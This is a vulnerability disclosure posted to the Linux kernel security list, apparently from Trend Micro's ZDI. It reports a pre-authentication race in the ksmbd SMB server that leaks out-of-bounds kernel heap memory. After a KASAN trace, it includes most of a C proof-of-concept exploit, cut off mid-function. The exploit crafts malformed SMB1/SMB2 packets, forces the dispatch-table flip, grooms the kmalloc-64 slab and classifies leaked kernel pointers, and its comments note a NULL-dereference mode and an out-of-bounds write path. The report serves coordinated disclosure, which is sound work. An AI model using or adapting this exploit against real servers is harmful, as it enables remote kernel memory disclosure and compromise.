* ZDI-CAN-33774: New Vulnerability Report
@ 2026-10-21 21:36 zdi-disclosures
2026-10-22 4:45 ` Greg KH
0 siblings, 1 reply; 2+ messages in thread
From: zdi-disclosures @ 2026-10-21 21:36 UTC (permalink / raw)
To: security
Cc: Namjae Jeon, Sergey Senozhatsky, Tom Talpey, ChenXiaoSong,
open list:KERNEL SMB3 SERVER (KSMBD, open list
ZDI-CAN-33774: Linux Kernel KSMBD Protocol Dispatch Race Condition Remote Code Execution Vulnerability
-- CVSS -----------------------------------------
9.0: AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products:
Linux - Kernel KSMBD
-- VULNERABILITY DETAILS ------------------------
* Version Tested:7.3-rc3
* Platform Tested:debian trixie
---
### Analysis
conn->ops is selected per-PDU at enqueue time but dereferenced at dequeue time.
It can lead to a 40-byte SMB1 buffer is parsed as a 64-byte SMB2 header without length check and leak OOB read memory back to attacker.
There is also a path to OOB write, smb2_set_info -> parse_sec_desc.
The trigger requires race and guest share.
~~~C++
// server.c - queue_ksmbd_work()
ksmbd_init_smb_server(conn); // (1) re-reads request proto, sets conn->ops per-PDU
work->request_buf = conn->request_buf; // (2) buffer bound to work, ops is NOT ��� queued for later
// server.c - __handle_ksmbd_work() [kworker, after flip]
conn->ops->init_rsp_hdr(work); // (3) ops read at dequeue ��� SMB2 handler on SMB1 buffer
// smb2pdu.c - init_smb2_rsp_hdr()
rsp_hdr->SessionId = rcv_hdr->SessionId; // (4) reads offset 40+ of a 40-byte kvmalloc'd buffer
memcpy(rsp_hdr->Signature, rcv_hdr->Signature, 16); // (5) 28 OOB heap bytes ��� sent in 77-byte error reply
~~~
Flow: SMB1 PDU ��� conn->ops=smb1 ��� work queued ��� SMB2 PDU flips conn->ops=smb2 ��� kworker runs queued SMB1 work with SMB2 handler ��� init_smb2_rsp_hdr reads past the 40-byte allocation ��� 28 heap bytes leaked to attacker.
KASAN report
```
==================================================================
BUG: KASAN: slab-out-of-bounds in init_smb2_rsp_hdr+0x6bd/0x790 /root/linux/fs/smb/server/smb2pdu.c:661
Read of size 4 at addr ffff8880222c2ba8 by task kworker/2:1/61
CPU: 2 UID: 0 PID: 61 Comm: kworker/2:1 Not tainted 7.3.0-rc3 #3 PREEMPT(lazy)
Hardware name: QEMU Ubuntu 25.10 PC v2 (i440FX + PIIX, + 10.1 machine, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: ksmbd-io handle_ksmbd_work
Call Trace:
<TASK>
__dump_stack /root/linux/lib/dump_stack.c:94
dump_stack_lvl+0x100/0x190 /root/linux/lib/dump_stack.c:120
print_address_description /root/linux/mm/kasan/report.c:378
print_report+0x139/0x4ad /root/linux/mm/kasan/report.c:482
kasan_report+0xe4/0x1d0 /root/linux/mm/kasan/report.c:595
init_smb2_rsp_hdr+0x6bd/0x790 /root/linux/fs/smb/server/smb2pdu.c:661
__handle_ksmbd_work /root/linux/fs/smb/server/server.c:223
handle_ksmbd_work+0x1b1/0x1ff0 /root/linux/fs/smb/server/server.c:368
process_one_work+0xaf7/0x1b30 /root/linux/kernel/workqueue.c:3396
process_scheduled_works /root/linux/kernel/workqueue.c:3479
worker_thread+0x5eb/0xe50 /root/linux/kernel/workqueue.c:3560
kthread+0x373/0x450 /root/linux/kernel/kthread.c:436
ret_from_fork+0x72b/0xd30 /root/linux/arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 /root/linux/arch/x86/entry/entry_64.S:245
</TASK>
Allocated by task 9549:
kasan_save_stack+0x30/0x50 /root/linux/mm/kasan/common.c:57
kasan_save_track+0x14/0x30 /root/linux/mm/kasan/common.c:78
poison_kmalloc_redzone /root/linux/mm/kasan/common.c:398
__kasan_kmalloc+0x9a/0xb0 /root/linux/mm/kasan/common.c:415
kasan_kmalloc /root/linux/./include/linux/kasan.h:263
__do_kmalloc_node /root/linux/mm/slub.c:5414
__kvmalloc_node_noprof+0x352/0x9a0 /root/linux/mm/slub.c:7014
ksmbd_conn_handler_loop+0x67b/0x1260 /root/linux/fs/smb/server/connection.c:679
kthread+0x373/0x450 /root/linux/kernel/kthread.c:436
ret_from_fork+0x72b/0xd30 /root/linux/arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 /root/linux/arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff8880222c2b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes to the right of
allocated 40-byte region [ffff8880222c2b80, ffff8880222c2ba8)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x222c2
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88801c4428c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000000200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 2240339240
set_page_owner /root/linux/./include/linux/page_owner.h:33
post_alloc_hook+0xfe/0x140 /root/linux/mm/page_alloc.c:1871
prep_new_page /root/linux/mm/page_alloc.c:1879
get_page_from_freelist+0x10c7/0x34d0 /root/linux/mm/page_alloc.c:3943
__alloc_frozen_pages_noprof+0x2de/0x3190 /root/linux/mm/page_alloc.c:5436
alloc_slab_page /root/linux/mm/slub.c:3347
allocate_slab /root/linux/mm/slub.c:3462
new_slab+0xa7/0x6b0 /root/linux/mm/slub.c:3513
refill_objects+0xeb/0x400 /root/linux/mm/slub.c:7417
refill_sheaf /root/linux/mm/slub.c:2885
__pcs_replace_empty_main+0x370/0x670 /root/linux/mm/slub.c:4774
alloc_from_pcs /root/linux/mm/slub.c:4850
slab_alloc_node /root/linux/mm/slub.c:4984
__kmalloc_cache_noprof+0x4ef/0x6d0 /root/linux/mm/slub.c:5559
_kmalloc_noprof /root/linux/./include/linux/slab.h:991
__kthread_create_on_node+0xce/0x3f0 /root/linux/kernel/kthread.c:483
kthread_create_on_node+0xd1/0x100 /root/linux/kernel/kthread.c:559
init_jfs_fs+0x2e2/0x5b0 /root/linux/fs/jfs/super.c:1000
do_one_initcall+0x112/0x6d0 /root/linux/init/main.c:1362
do_initcall_level /root/linux/init/main.c:1424
do_initcalls /root/linux/init/main.c:1440
do_basic_setup /root/linux/init/main.c:1460
kernel_init_freeable+0x6ec/0x7b0 /root/linux/init/main.c:1675
kernel_init+0x21/0x1e0 /root/linux/init/main.c:1565
ret_from_fork+0x72b/0xd30 /root/linux/arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 /root/linux/arch/x86/entry/entry_64.S:245
page last free pid 1 tgid 1 ts 2235550430 stack trace:
reset_page_owner /root/linux/./include/linux/page_owner.h:26
__free_pages_prepare /root/linux/mm/page_alloc.c:1418
__free_frozen_pages+0x793/0x1140 /root/linux/mm/page_alloc.c:2962
___free_pages_bulk /root/linux/mm/kasan/shadow.c:333
__kasan_populate_vmalloc_do /root/linux/mm/kasan/shadow.c:385
__kasan_populate_vmalloc+0x14d/0x1f0 /root/linux/mm/kasan/shadow.c:424
kasan_populate_vmalloc /root/linux/./include/linux/kasan.h:580
alloc_vmap_area+0x965/0x2b40 /root/linux/mm/vmalloc.c:2145
__get_vm_area_node+0x1e4/0x350 /root/linux/mm/vmalloc.c:3248
__vmalloc_node_range_noprof+0x253/0x1400 /root/linux/mm/vmalloc.c:4064
__vmalloc_node_noprof+0xaa/0xf0 /root/linux/mm/vmalloc.c:4165
txInit.cold+0x303/0x58d /root/linux/fs/jfs/jfs_txnmgr.c:298
init_jfs_fs+0x12d/0x5b0 /root/linux/fs/jfs/super.c:978
do_one_initcall+0x112/0x6d0 /root/linux/init/main.c:1362
do_initcall_level /root/linux/init/main.c:1424
do_initcalls /root/linux/init/main.c:1440
do_basic_setup /root/linux/init/main.c:1460
kernel_init_freeable+0x6ec/0x7b0 /root/linux/init/main.c:1675
kernel_init+0x21/0x1e0 /root/linux/init/main.c:1565
ret_from_fork+0x72b/0xd30 /root/linux/arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 /root/linux/arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff8880222c2a80: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
ffff8880222c2b00: 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc
>ffff8880222c2b80: 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc
^
ffff8880222c2c00: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
ffff8880222c2c80: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
==================================================================
```
---
# Proof of Concept: poc/poc-opsflip.c
```c
/*
* Proof-of-concept for the vulnerability described in this report.
*
* Pre-authentication SMB1/SMB2 *ops-table* confusion in ksmbd.
*
* THE DEFECT THIS DRIVES
* ----------------------
* The connection thread re-selects the whole per-connection dispatch vector on
* EVERY received request, for as long as conn->need_neg is true:
*
* fs/smb/server/server.c:335 queue_ksmbd_work()
* err = ksmbd_init_smb_server(conn);
* fs/smb/server/smb_common.c:434-442 ksmbd_init_smb_server()
* if (conn->need_neg == false) {...}
* proto==SMB1 ? init_smb1_server()
* : init_smb3_11_server();
* fs/smb/server/smb_common.c:419-426 init_smb1_server()
* conn->vals/ops/cmds/max_cmds
* fs/smb/server/smb2ops.c:278-297 init_smb3_11_server() (same four)
*
* The already-queued works read conn->ops LATER, in the ksmbd-io kworker:
*
* fs/smb/server/server.c:190 conn->ops->allocate_rsp_buf(work)
* fs/smb/server/server.c:193 conn->ops->init_rsp_hdr(work) <-- SINK
* fs/smb/server/server.c:202 conn->ops->check_user_session(work)
* fs/smb/server/server.c:210 conn->ops->is_sign_req(...) <-- SINK 2 (NULL)
*
* A work whose request_buf is a *short SMB1* PDU therefore executes
* init_smb2_rsp_hdr() (fs/smb/server/smb2pdu.c:632) if a later request on the
* same connection flipped conn->ops to the SMB2 vector first.
*
* The size guards are asymmetric and that is the whole bug:
*
* fs/smb/server/connection.c:506 pdu_size < SMB1_MIN_SUPPORTED_PDU_SIZE (35)
* fs/smb/server/connection.c:549 proto==SMB2 && pdu_size < 66 -> break
* fs/smb/server/connection.c:553 proto==TRANSFORM && pdu_size < ...
*
* i.e. 66 bytes are only demanded when the *buffer* says SMB2; the handler is
* chosen from conn->ops. init_smb2_rsp_hdr() unconditionally reads
* rcv_hdr->Id.SyncId.TreeId (msg off 36 -> buf index 40)
* rcv_hdr->SessionId (msg off 40 -> buf index 44..51)
* memcpy(rsp->Signature, rcv_hdr->Signature, 16) (msg off 48 -> 52..67)
* out of an allocation of exactly pdu_size + 4 + 1 (connection.c:511-512).
* With -S 35 that allocation is 40 bytes in kmalloc-64: 24 bytes of in-object
* KASAN redzone, and the 4-byte TreeId read at index 40..43 sits inside it.
*
* FREE ORACLE, no sanitizer needed
* -------------------------------
* The confused work then fails smb2_check_user_session() with -EIO
* (fs/smb/server/smb2pdu.c:723, !ksmbd_conn_good) and server.c:208 emits an
* SMB2 error response of 4 + 64 + 9 = 77 bytes, which carries the OOB-read
* SessionId (8 bytes) and Signature (16 bytes) straight back to the peer
* (fs/smb/server/smb2pdu.c:293-311 -> smb2pdu.c:201-224 -> connection.c:353).
* A work that was NOT confused answers nothing at all (set_smb1_rsp_status
* sets send_no_response, fs/smb/server/smb_common.c:393).
*
* => ANY 77-byte SMB2 error reply on this connection == the flip happened
* and 28 bytes past the allocation just walked out.
*
* HOW THE FLIP IS FORCED (not a tight instruction race)
* ----------------------------------------------------
* One write(2) carries: <burst> short SMB1 PDUs, then ONE SMB2 ECHO (68 bytes).
* The connection thread drains all of them without ever blocking on the socket,
* so it queues the SMB1 works and THEN runs init_smb3_11_server() for the ECHO,
* while the ksmbd-io kworkers (queue_work with WQ_PERCPU picks the connection
* thread's own CPU, ksmbd_work.c:108) have not necessarily been scheduled yet.
* Every SMB1 work still sitting in the queue at that moment reads the SMB2 ops.
*
* Command byte of the SMB1 PDU is 0x00, NOT 0x72: ksmbd_verify_smb_message()
* then returns -EINVAL at fs/smb/server/smb_common.c:171 BEFORE the
* work->conn->outstanding_credits++ at smb_common.c:167, so the connection does
* not strangle itself on smb2misc.c:361 after the first request.
*
* Exit 0 means the program ran, NOT that a bug was found.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <poll.h>
#include <signal.h>
#include <time.h>
#define SMB2_HDR_SIZE 64
#define SMB2_PROTO "\xfeSMB"
#define SMB1_PROTO "\xffSMB"
#define SMB2_ECHO 0x000d
/* fs/smb/common/smb2status.h:646 */
#define ST_USER_SESSION_DELETED 0xC0000203u
static void put16(uint8_t *p, uint16_t v) { p[0] = v & 0xff; p[1] = v >> 8; }
static void put32(uint8_t *p, uint32_t v)
{
p[0] = v & 0xff; p[1] = (v >> 8) & 0xff;
p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff;
}
static uint16_t get16(const uint8_t *p) { return (uint16_t)(p[0] | (p[1] << 8)); }
static uint32_t get32(const uint8_t *p)
{
return (uint32_t)p[0] | ((uint32_t)p[1] << 8) |
((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);
}
static uint64_t get64(const uint8_t *p)
{
uint64_t v = 0;
int i;
for (i = 7; i >= 0; i--)
v = (v << 8) | p[i];
return v;
}
/* ==========================================================================
* WHAT is in the 28 bytes we leak?
*
* The reply window scored here is msg offsets 36..63 == request-buffer indices
* 40..67 of a 40-byte kvmalloc (pdu_size 35 + 5) that lives in kmalloc-64.
* Buffer index 0 is the start of a 64-byte-aligned slab object, so the ONLY
* 8-byte-aligned words inside the window start at buffer 40, 48 and 56
* (== msg 36, 44, 52). Buffer 64..67 is the first four bytes of the NEXT
* object in the same slab and is too short to classify by top bits, so it is
* only counted, never bucketed.
*
* Ranges. These buckets assume the x86_64 default kernel address layout. Under
* CONFIG_RANDOMIZE_MEMORY the direct map, vmalloc and vmemmap regions are shifted
* independently and the bucket labels stop holding ��� vmemmap values can land in
* the vmalloc window and be mislabelled. The prefix histogram below is emitted
* anyway so the buckets can be checked against the data instead of being taken
* on faith. The classification is a convenience; the raw bytes are the evidence.
* ========================================================================== */
enum { C_ZERO, C_KTEXT, C_KMOD, C_DMAP, C_VMALLOC, C_VMEMMAP, C_KOTHER,
C_LOW, C_OTHER, NCLS };
static const char * const cls_name[NCLS] = {
"z", "kt", "km", "dm", "vm", "vme", "ko", "lo", "ot"
};
static int classify_word(uint64_t v)
{
if (!v)
return C_ZERO;
if (v >= 0xffffffff80000000ull && v < 0xffffffffc0000000ull)
return C_KTEXT; /* kernel image text/data */
if (v >= 0xffffffffc0000000ull && v < 0xfffffffffe000000ull)
return C_KMOD; /* module mapping */
if (v >= 0xffff888000000000ull && v < 0xffffc88000000000ull)
return C_DMAP; /* direct map (slab/page heap) */
if (v >= 0xffffc90000000000ull && v < 0xffffe90000000000ull)
return C_VMALLOC;
if (v >= 0xffffea0000000000ull && v < 0xffffeb0000000000ull)
return C_VMEMMAP; /* struct page */
if ((v >> 48) == 0xffffull)
return C_KOTHER; /* some other kernel-half address */
if (v < 0x0001000000000000ull)
return C_LOW; /* small integer / user-half */
return C_OTHER;
}
static int is_kernel_cls(int c)
{
return c >= C_KTEXT && c <= C_KOTHER;
}
static int connect_to(const char *host, int port)
{
struct sockaddr_in sa;
int one = 1;
int s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
return -1;
setsockopt(s, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
if (inet_pton(AF_INET, host, &sa.sin_addr) != 1) {
close(s); errno = EINVAL; return -1;
}
if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
return s;
}
/*
* A short SMB1 request.
* off 0..3 Protocol 0xFF 'S' 'M' 'B' (connection.c:545 ksmbd_smb_request)
* off 4 Command 0x00 -> smb_common.c:171 -EINVAL, no credit taken
* off 12..13 PidHigh == struct smb2_hdr.Command when read as SMB2.
* Must NOT be 0x00/0x01/0x0d (those are the
* session-free opcodes and would carry on into
* __process_request) and must NOT be 0x10
* (SMB2_QUERY_INFO_HE bails in smb2_allocate_rsp_buf
* at smb2pdu.c:676) nor 0x0b/0x0e (they force the
* large kvzalloc). 0x0002 = SMB2_LOGOFF_HE is ideal:
* smb2_check_user_session() -> -EIO immediately.
* off 20..23 == struct smb2_hdr.NextCommand: keep 0 so smb2_allocate_rsp_buf
* does not take the large_sz branch (smb2pdu.c:689).
* off 24..31 == struct smb2_hdr.MessageId: our per-PDU tag, echoed back by
* init_smb2_rsp_hdr (smb2pdu.c:647) so we can match replies.
* Total length is -S; connection.c:506 rejects < 35.
*/
static int build_smb1_short(uint8_t *p, uint32_t total, uint16_t pidhigh,
uint8_t cmdbyte, uint32_t tag, uint8_t fill)
{
memset(p, 0, total);
/* -F: paint everything from PDU offset 32 up with a marker byte. For
* -S 64 that covers msg offsets 36..63 == TreeId/SessionId/Signature,
* which are then read from INSIDE the allocation: a reply carrying the
* marker proves the plumbing returns those fields to the wire. For
* -S 35 only offsets 32..34 exist and the same fields are OOB. */
if (fill && total > 32)
memset(p + 32, fill, total - 32);
memcpy(p, SMB1_PROTO, 4);
p[4] = cmdbyte;
if (total > 13)
put16(p + 12, pidhigh);
if (total > 27)
put32(p + 24, tag);
return (int)total;
}
/*
* MODE 2 ("null", the NULL-dereference note in section 4) ��� a 68-byte SMB2 request whose Command is NOT one of
* the three session-free opcodes {0 NEGOTIATE, 1 SESSION_SETUP, 13 ECHO}. Such a
* work reaches fs/smb/server/server.c:202 with the SMB2 ops vector and
* smb2_check_user_session() returns -EIO at fs/smb/server/smb2pdu.c:723
* (!ksmbd_conn_good). Control then falls to
*
* fs/smb/server/server.c:210
* if (conn->ops->is_sign_req(work, conn->ops->get_cmd_val(work))) {
*
* which is the ONLY unguarded ->is_sign_req deref in the file (server.c:142 does
* check it). smb1_server_ops (fs/smb/server/smb_common.c:398-404) defines exactly
* five members and .is_sign_req is NOT one of them, so if the connection thread
* stores conn->ops = &smb1_server_ops (smb_common.c:422) between the call at
* server.c:202 and the load at server.c:210, the kworker calls NULL.
* Added by 9e8ad620ddfde (2026-07-02); the pre-image had a bare "goto send;".
*/
static int build_smb2_cmd(uint8_t *p, uint16_t cmd, uint16_t credit_request,
uint64_t msgid)
{
memset(p, 0, SMB2_HDR_SIZE + 4);
memcpy(p, SMB2_PROTO, 4);
put16(p + 4, SMB2_HDR_SIZE);
put16(p + 12, cmd);
put16(p + 14, credit_request);
put32(p + 24, (uint32_t)msgid);
put16(p + SMB2_HDR_SIZE, 4);
return SMB2_HDR_SIZE + 4;
}
/* 68-byte SMB2 ECHO: legal, >= SMB2_MIN_SUPPORTED_PDU_SIZE(66), dispatched with
* no session (smb2pdu.c:714-719). Its only job is to make the connection thread
* run init_smb3_11_server() and flip conn->ops. */
static int build_echo(uint8_t *p, uint16_t credit_request, uint64_t msgid)
{
memset(p, 0, SMB2_HDR_SIZE + 4);
memcpy(p, SMB2_PROTO, 4);
put16(p + 4, SMB2_HDR_SIZE);
put16(p + 14, credit_request); /* CreditRequest */
put16(p + 12, SMB2_ECHO);
put32(p + 24, (uint32_t)msgid);
put16(p + SMB2_HDR_SIZE, 4); /* StructureSize */
return SMB2_HDR_SIZE + 4;
}
static size_t frame(uint8_t *out, const uint8_t *pdu, uint32_t len)
{
out[0] = 0;
out[1] = (len >> 16) & 0xff;
out[2] = (len >> 8) & 0xff;
out[3] = len & 0xff;
memcpy(out + 4, pdu, len);
return len + 4;
}
/*
* PHASE TAG and PAINT MARKER (runner, ARM A step 3).
*
* The bytes init_smb2_rsp_hdr() reads at request-buffer indices 40..67 are,
* for a 40-byte allocation out of kmalloc-64, (a) indices 40..63 = the unused
* tail of the object's own 64-byte slot and (b) indices 64..67 = past the slot.
* Nothing in this program's own traffic ever writes (a), so a run that sends only
* 35-byte PDUs discloses zeroes and proves nothing about *whose* memory it is.
*
* Phase P3 therefore paints kmalloc-64 first. A painter connection sends SMB1
* PDUs of length 59: connection.c:511 makes that a 59+4+1 = 64 byte kvmalloc,
* i.e. a whole kmalloc-64 slot, and the kernel copies the painter's 63 bytes
* into it. get_smb1_cmd_val() (smb_common.c:325) always returns
* SMB_COM_NEGOTIATE_EX so smb1_check_user_session() returns 0, __process_request
* then fails ksmbd_verify_smb_message() and set_smb1_rsp_status() sets
* send_no_response: the painter gets no reply and the slot is freed still
* holding its bytes. A leaker's later 40-byte request buffer can land there.
*
* A leaked window containing MARK is then memory the leaking connection never
* owned ��� it belonged to a different connection, on a different socket.
*/
static const uint8_t MARK[4] = { 0xca, 0xfe, 0xba, 0xbe };
static const char *g_tag = "P0";
static int g_ci;
/*
* ==========================================================================
* ARM B (runner, 2026-08-19) ��� SELF-DESCRIBING PAINT.
*
* The static chain predicts an EXACT mapping: init_smb2_rsp_hdr() copies
* request-buffer index i to response index i, for i in 40..67, with no shift.
* MARK (4 identical repeating bytes) cannot distinguish index i from index
* i+-4, so it cannot test the mapping ��� it only tests ownership.
*
* BID paint therefore writes, at request-buffer index i, THE VALUE i.
* A painter PDU of RFC1002 length 59 allocates 59+4+1 == 64 == exactly one
* kmalloc-64 slot (connection.c:511-512) and the kernel copies the painter's
* 59 PDU bytes into buffer indices 4..62. Buffer 0..3 is the RFC1002 length
* the kernel memcpy()s in itself and 4..7 must stay 0xFF 'S' 'M' 'B' for
* ksmbd_smb_request() (smb_common.c:180) to accept the frame, so the painter
* can author buffer 8..62. Buffer 63 is the "+1 for implied bcc[0]" spare and
* NO painter can author it ��� kvmalloc does not zero and nothing writes there.
*
* A leaker then allocates 35+4+1 == 40 bytes out of the same kmalloc-64 slot.
* If the mapping is buffer[i] -> reply[i] with no shift, reply index i must
* equal i for i in 40..62.
*
* Counted per index: exact (reply[i]==i), and the two neighbouring shifts
* (reply[i]==i-1, reply[i]==i+1) so an off-by-one shows up as a displaced
* peak instead of as a silent zero.
* ==========================================================================
*/
#define BID_LO 40
#define BID_HI 67
#define BID_N (BID_HI - BID_LO + 1)
static int g_bid; /* 1 = print the BID histogram */
struct rbucket {
uint32_t status;
uint32_t plen;
uint8_t proto[4];
unsigned long n;
unsigned long nz; /* replies of this shape with a non-zero byte in 40..63 */
};
#define NBUCK 16
struct stats {
unsigned long sent_smb1, replies, leaks, nonzero_leak;
unsigned long short_reply; /* frame shorter than an SMB2 header */
unsigned long marker; /* leaked window contained MARK */
unsigned long bucket_overflow;
unsigned int nbuck, nsamp;
struct rbucket buck[NBUCK];
/* ---- content classification of the leaked window ---- */
unsigned long c_rep; /* windows classified */
unsigned long c_allzero; /* all 28 bytes zero */
unsigned long c_anyptr; /* >=1 aligned word is a kernel address */
unsigned long c_ktext; /* >=1 aligned word in kernel text range */
unsigned long c_ascii; /* >=4 printable bytes in a row */
unsigned long c_uptr; /* kernel address found ONLY unaligned */
unsigned long c_sameprev; /* window identical to the previous one */
unsigned long c_tail4nz; /* buffer 64..67 (next object) non-zero */
unsigned long wcls[3][NCLS];
uint64_t csamp[NCLS]; /* first value seen per class */
unsigned int nkt; /* distinct kernel-IMAGE values kept */
unsigned long kt_ovf;
struct { uint64_t v; unsigned long n; } kt[16];
uint64_t prev_h;
int have_prev;
unsigned int nhash;
unsigned long hash_ovf;
struct { uint64_t h; unsigned long n; } htab[512];
unsigned int npfx;
unsigned long pfx_ovf;
struct { uint32_t p; unsigned long n; } pfx[20]; /* top 24 bits of v */
/* ---- ARM B: per-index self-describing-paint match histogram ---- */
unsigned long bid_rep; /* windows examined */
unsigned long bid_m[BID_N]; /* reply[i] == i */
unsigned long bid_mm1[BID_N]; /* reply[i] == i-1 (shift) */
unsigned long bid_mp1[BID_N]; /* reply[i] == i+1 (shift) */
unsigned long bid_full; /* ALL of 40..62 matched */
unsigned long bid_any; /* >=1 of 40..62 matched */
unsigned long bid_tailpaint; /* >=1 of 64..67 matched */
};
/*
* DIAGNOSTIC ADDITION 2026-08-19 (runner, ARM A step 1).
*
* Round 1 of this harness scored a reply as a leak only if
* memcmp(m, "\xfeSMB", 4) == 0 && get32(m + 8) == STATUS_USER_SESSION_DELETED
* and reported LEAKS=0 while KASAN fired 19288 times. The protocol test is the
* suspect: init_smb2_rsp_hdr() (fs/smb/server/smb2pdu.c:638) copies
* rsp_hdr->ProtocolId = rcv_hdr->ProtocolId;
* i.e. the response inherits the *request's* magic, which for a confused SMB1
* work is 0xFF 'S' 'M' 'B'. So this function no longer decides anything from
* the magic: it bins EVERY reply by (proto, rfc1002 length, Status) and prints
* the bins. Interpretation happens afterwards, on the numbers.
*/
static void bump(struct stats *st, const uint8_t *m, uint32_t plen, int nz)
{
uint32_t status = plen >= 12 ? get32(m + 8) : 0xffffffffu;
unsigned int i;
for (i = 0; i < st->nbuck; i++) {
if (st->buck[i].status == status && st->buck[i].plen == plen &&
!memcmp(st->buck[i].proto, m, 4)) {
st->buck[i].n++;
st->buck[i].nz += (unsigned)nz;
return;
}
}
if (st->nbuck == NBUCK) {
st->bucket_overflow++;
return;
}
i = st->nbuck++;
st->buck[i].status = status;
st->buck[i].plen = plen;
memcpy(st->buck[i].proto, m, 4);
st->buck[i].n = 1;
st->buck[i].nz = (unsigned)nz;
}
/*
* classify() ��� called for every SMB2 error reply whose frame is at least
* a full 64-byte header, i.e. every reply that carries the window. Everything is
* counted IN PROCESS and printed once per child, because the guest console
* interleaves harness stdout with kernel output character by character and long
* per-sample lines do not survive.
*/
static void classify(struct stats *st, const uint8_t *m)
{
const uint8_t *w = m + 36; /* buffer index 40 */
uint64_t v[3], h = 1469598103934665603ull;
int i, k, anyk = 0, kt = 0, run = 0, ascii = 0, aligned_k = 0, unal_k = 0;
unsigned int b;
st->c_rep++;
for (i = 0; i < 3; i++) {
v[i] = get64(w + 8 * i);
k = classify_word(v[i]);
st->wcls[i][k]++;
if (!st->csamp[k])
st->csamp[k] = v[i];
if (is_kernel_cls(k)) {
anyk = 1;
aligned_k = 1;
if (k == C_KTEXT) {
kt = 1;
for (b = 0; b < st->nkt; b++)
if (st->kt[b].v == v[i])
break;
if (b < st->nkt)
st->kt[b].n++;
else if (st->nkt < 16) {
st->kt[st->nkt].v = v[i];
st->kt[st->nkt].n = 1;
st->nkt++;
} else {
st->kt_ovf++;
}
}
}
if (v[i]) {
uint32_t pk = (uint32_t)(v[i] >> 40);
for (b = 0; b < st->npfx; b++)
if (st->pfx[b].p == pk) {
st->pfx[b].n++;
break;
}
if (b == st->npfx) {
if (st->npfx < 20) {
st->pfx[st->npfx].p = pk;
st->pfx[st->npfx].n = 1;
st->npfx++;
} else {
st->pfx_ovf++;
}
}
}
}
/* unaligned sweep: a kernel address at an offset the object layout would
* not normally put one at. Only counted when NO aligned word had one. */
for (i = 1; i <= 20; i++) {
if (i % 8 == 0)
continue;
if (is_kernel_cls(classify_word(get64(w + i))))
unal_k = 1;
}
if (anyk)
st->c_anyptr++;
if (kt)
st->c_ktext++;
if (!aligned_k && unal_k)
st->c_uptr++;
/* full 28-byte window: all-zero, ascii run, tail, hash */
{
int allz = 1;
for (i = 0; i < 28; i++) {
if (w[i])
allz = 0;
if (w[i] >= 0x20 && w[i] <= 0x7e) {
if (++run >= 4)
ascii = 1;
} else {
run = 0;
}
h = (h ^ w[i]) * 1099511628211ull;
}
if (allz)
st->c_allzero++;
if (ascii)
st->c_ascii++;
}
if (get32(m + 60)) /* buffer 64..67 == next object */
st->c_tail4nz++;
if (st->have_prev && st->prev_h == h)
st->c_sameprev++;
st->prev_h = h;
st->have_prev = 1;
for (b = 0; b < st->nhash; b++)
if (st->htab[b].h == h) {
st->htab[b].n++;
return;
}
if (st->nhash < 512) {
st->htab[st->nhash].h = h;
st->htab[st->nhash].n = 1;
st->nhash++;
} else {
st->hash_ovf++;
}
}
/*
* bid_score() ��� ARM B. m points at the SMB2 response header, i.e. reply index 4
* == buffer index 4, so buffer index i is m[i - 4]. Called for every reply that
* carries a full 64-byte header.
*/
static void bid_score(struct stats *st, const uint8_t *m)
{
int i, any = 0, all = 1, tail = 0;
st->bid_rep++;
for (i = BID_LO; i <= BID_HI; i++) {
uint8_t got = m[i - 4];
if (got == (uint8_t)i) {
st->bid_m[i - BID_LO]++;
if (i <= 62)
any = 1;
if (i >= 64)
tail = 1;
} else if (i <= 62) {
all = 0;
}
if (got == (uint8_t)(i - 1))
st->bid_mm1[i - BID_LO]++;
if (got == (uint8_t)(i + 1))
st->bid_mp1[i - BID_LO]++;
}
if (any)
st->bid_any++;
if (all)
st->bid_full++;
if (tail)
st->bid_tailpaint++;
}
static void drain_and_score(int s, struct stats *st, int verbose, int timeout_ms)
{
static uint8_t rx[1 << 16];
static size_t have;
struct pollfd pfd = { .fd = s, .events = POLLIN };
for (;;) {
size_t off = 0;
ssize_t n;
if (have == sizeof(rx)) /* never call recv() with len 0 */
have = 0;
if (poll(&pfd, 1, timeout_ms) <= 0)
return;
n = recv(s, rx + have, sizeof(rx) - have, MSG_DONTWAIT);
if (n <= 0)
return;
have += (size_t)n;
while (have - off >= 4) {
uint32_t plen = ((uint32_t)rx[off + 1] << 16) |
((uint32_t)rx[off + 2] << 8) | rx[off + 3];
const uint8_t *m = rx + off + 4;
